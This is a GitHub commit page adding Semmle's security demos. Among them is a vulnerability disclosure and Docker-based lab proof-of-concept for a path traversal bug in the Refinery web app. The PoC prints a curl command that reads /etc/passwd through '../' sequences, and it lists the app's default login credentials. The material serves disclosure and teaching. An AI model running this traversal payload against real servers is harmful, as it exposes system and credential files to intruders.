Skip to content

Commit db12b35

Browse files
Move Semmle demos to github.com
0 parents  commit db12b35

71 files changed

Lines changed: 3158 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# emacs backups
2+
*~

LICENSE.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
Copyright 2019 Semmle Ltd.
2+
3+
Licensed under the Apache License, Version 2.0 (the "License");
4+
you may not use this file except in compliance with the License.
5+
You may obtain a copy of the License at
6+
7+
http://www.apache.org/licenses/LICENSE-2.0
8+
9+
Unless required by applicable law or agreed to in writing, software
10+
distributed under the License is distributed on an "AS IS" BASIS,
11+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
See the License for the specific language governing permissions and
13+
limitations under the License.

NOTICE.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
## Semmle Demos
2+
Copyright 2019 Semmle Ltd.

README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Semmle Demos
2+
3+
This open source repository contains demos of Semmle's products: QL and LGTM. Many of the demos are examples of security vulnerabilities that were found by a QL query. These demos contain step-by-step instructions on how to build a QL query that finds the vulnerability.
4+
5+
## How do I run the demos?
6+
7+
You can use the [interactive query console](https://lgtm.com/help/lgtm/using-query-console) or the [QL for Eclipse](https://lgtm.com/help/lgtm/running-queries-ide) plugin.
8+
9+
## License
10+
11+
The demos are licensed under [Apache License 2.0](LICENSE) by [Semmle](https://semmle.com).
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# AMP HTML pull-request integration
2+
3+
[Pull Request #13060](https://github.com/ampproject/amphtml/pull/13060) is a great example of LGTM's pull-request integration feature. In this pull request, [@lannka](https://github.com/lannka) wants to revert a change made by [@rsimha](https://github.com/rsimha) because it "breaks the regex". Within 15 minutes, LGTM posted a [comment](https://github.com/ampproject/amphtml/pull/13060#issuecomment-360860032) on the pull request, saying that it introduces a new alert for "Regular expression injection". As [@rsimha](https://github.com/rsimha) explains in the next [comment](https://github.com/ampproject/amphtml/pull/13060#issuecomment-360865628), he changed the regular expression to fix a security vulnerability. This pull request was going to reintroduce the vulnerability! Luckily, LGTM caught the problem quickly and the pull request was fixed before it got merged.
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# Path injection in Refinery
2+
3+
This directory contains a proof-of-concept exploit for a path injection vulnerability in [Refinery](https://github.com/daeilkim/refinery).
4+
5+
To demonstrate the PoC in a safe environment, we will use two docker containers connected by a docker network bridge to simulate two separate computers: the first is the Refinery server and the second is the attacker's computer.
6+
7+
We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed.
8+
9+
## Network setup
10+
11+
Create a docker network bridge, to simulate a network with two separate computers.
12+
13+
```bash
14+
docker network create -d bridge --subnet 172.18.0.0/16 refinery-demo-network
15+
```
16+
17+
## Refinery server setup
18+
19+
Build the docker image:
20+
21+
```bash
22+
cd refinery-server
23+
docker build . -t refinery-server --build-arg UID=`id -u`
24+
```
25+
26+
Start the container:
27+
28+
```bash
29+
docker run --rm --network refinery-demo-network --ip=172.18.0.10 -h refinery-server --publish 8080:8080 -i -t refinery-server
30+
```
31+
32+
Inside the container, start postgresql and Refinery.
33+
34+
```bash
35+
sudo service postgresql start # sudo password is "x"
36+
sudo -u postgres createuser --superuser victim
37+
sudo -u postgres createdb refinery
38+
cd refinery/refinery
39+
./reset_db.py
40+
./start_refinery.sh
41+
```
42+
43+
At this point, you can check that Refinery is running by visiting [http://127.0.0.1:8080](http://127.0.0.1:8080) in your browser. (We exposed port 8080 on the docker container.) You should see a login screen. These are the default credentials:
44+
45+
```
46+
username: doc
47+
password: refinery
48+
```
49+
50+
## Attacker setup
51+
52+
Build the docker image:
53+
54+
```bash
55+
cd refinery-attacker
56+
docker build . -t refinery-attacker
57+
```
58+
59+
Start the container:
60+
61+
```bash
62+
docker run --rm --network refinery-demo-network --ip=172.18.0.11 -h refinery-attacker -i -t refinery-attacker
63+
```
64+
65+
Inside the container, use `curl` to read arbitrary files on the server:
66+
67+
```bash
68+
curl -d "filename=../../../../../../../../../../../../../../etc/passwd" -X POST http://172.18.0.10:8080/doc/get_doc_text
69+
```
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y curl
5+
6+
# Create user account for the attacker.
7+
RUN adduser attacker --disabled-password
8+
9+
# Switch over to the 'attacker' user, since root access is no longer required
10+
USER attacker
11+
WORKDIR /home/attacker
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
FROM ubuntu:bionic
2+
3+
RUN echo "Etc/UTC" > /etc/timezone
4+
ENV DEBIAN_FRONTEND=noninteractive
5+
6+
RUN apt-get update && \
7+
apt-get install -y git python-pip postgresql redis-server gunicorn sudo
8+
9+
ARG UID=1000
10+
11+
# Create a non-root user account to run Refinery.
12+
RUN adduser victim --disabled-password --uid $UID
13+
14+
# Grant the 'victim' user sudo access, so that we can start postgresql.
15+
RUN adduser victim sudo
16+
RUN echo "victim:x" | chpasswd
17+
18+
# Switch over to the 'victim' user, since root access is no longer required
19+
USER victim
20+
WORKDIR /home/victim
21+
22+
# Some of the Python module names have changed since the Refinery code
23+
# was written, so we have to apply a simple patch.
24+
COPY diff.txt /home/victim/diff.txt
25+
26+
# Get Refinery source code and check out the vulnerable version.
27+
RUN git clone https://github.com/daeilkim/refinery && cd refinery && \
28+
git checkout 0d5de8fc3d680a2c79bd0e9384b506229787c74f && \
29+
git apply /home/victim/diff.txt
30+
31+
RUN pip install flask flask_login flask_sqlalchemy flask_wtf celery joblib psycopg2 redis scipy
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
diff --git a/refinery/refinery/__init__.py b/refinery/refinery/__init__.py
2+
index 3bd6a8b..4ad1311 100644
3+
--- a/refinery/refinery/__init__.py
4+
+++ b/refinery/refinery/__init__.py
5+
@@ -1,6 +1,6 @@
6+
from flask import Flask
7+
-from flask.ext.sqlalchemy import SQLAlchemy
8+
-from flask.ext.login import LoginManager
9+
+from flask_sqlalchemy import SQLAlchemy
10+
+from flask_login import LoginManager
11+
from celery import Celery
12+
13+
print "Opening a Refinery"
14+
diff --git a/refinery/refinery/webapp/admin.py b/refinery/refinery/webapp/admin.py
15+
index e6d26d4..23af1dd 100644
16+
--- a/refinery/refinery/webapp/admin.py
17+
+++ b/refinery/refinery/webapp/admin.py
18+
@@ -1,6 +1,6 @@
19+
from flask import g, redirect, render_template, session, url_for, flash #url_for, abort, render_template, flash, send_from_directory, jsonify, Response, json
20+
from refinery import app, lm
21+
-from flask.ext.login import login_user, logout_user, login_required
22+
+from flask_login import login_user, logout_user, login_required
23+
from refinery.data.models import User
24+
from flask_wtf import Form
25+
from wtforms import TextField, PasswordField, BooleanField
26+
diff --git a/refinery/refinery/webapp/main_menu.py b/refinery/refinery/webapp/main_menu.py
27+
index 670c62e..6e5ca7f 100644
28+
--- a/refinery/refinery/webapp/main_menu.py
29+
+++ b/refinery/refinery/webapp/main_menu.py
30+
@@ -14,7 +14,7 @@ Or else what? Exactly.
31+
"""
32+
33+
from flask import request, g, render_template, jsonify, Response, json
34+
-from flask.ext.login import current_user,login_required
35+
+from flask_login import current_user,login_required
36+
37+
import celery
38+
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Path injection in Refinery
2+
3+
One of LGTM's default queries found a path injection vulnerability in the open source [Refinery](https://github.com/daeilkim/refinery) project:
4+
5+
https://lgtm.com/projects/g/daeilkim/refinery/snapshot/5eb10ae26cc67ac3d39d37e932274798631e15b2/files/refinery/refinery/webapp/topicmodel.py#xaea6e729c50ca7a5:1
6+
7+
This bug is trivial to exploit. If Refinery is running on the website example.com, then an attacker can read arbitrary files on the server like this:
8+
9+
curl -d "filename=../../../../../../../../../../../../etc/passwd" -X POST http://example.com/doc/get_doc_text
10+
11+
Semmle reported this vulnerability to the maintainers of Refinery on 2018-12-16 (using the email addresses listed [here](https://github.com/daeilkim/refinery/blob/0d5de8fc3d680a2c79bd0e9384b506229787c74f/README.md)), but they did not respond. Kevin Backhouse also attempted to contact Daeil Kim using [LinkedIn](https://www.linkedin.com/in/daeil/), but did not receive a response.

0 commit comments

Comments
 (0)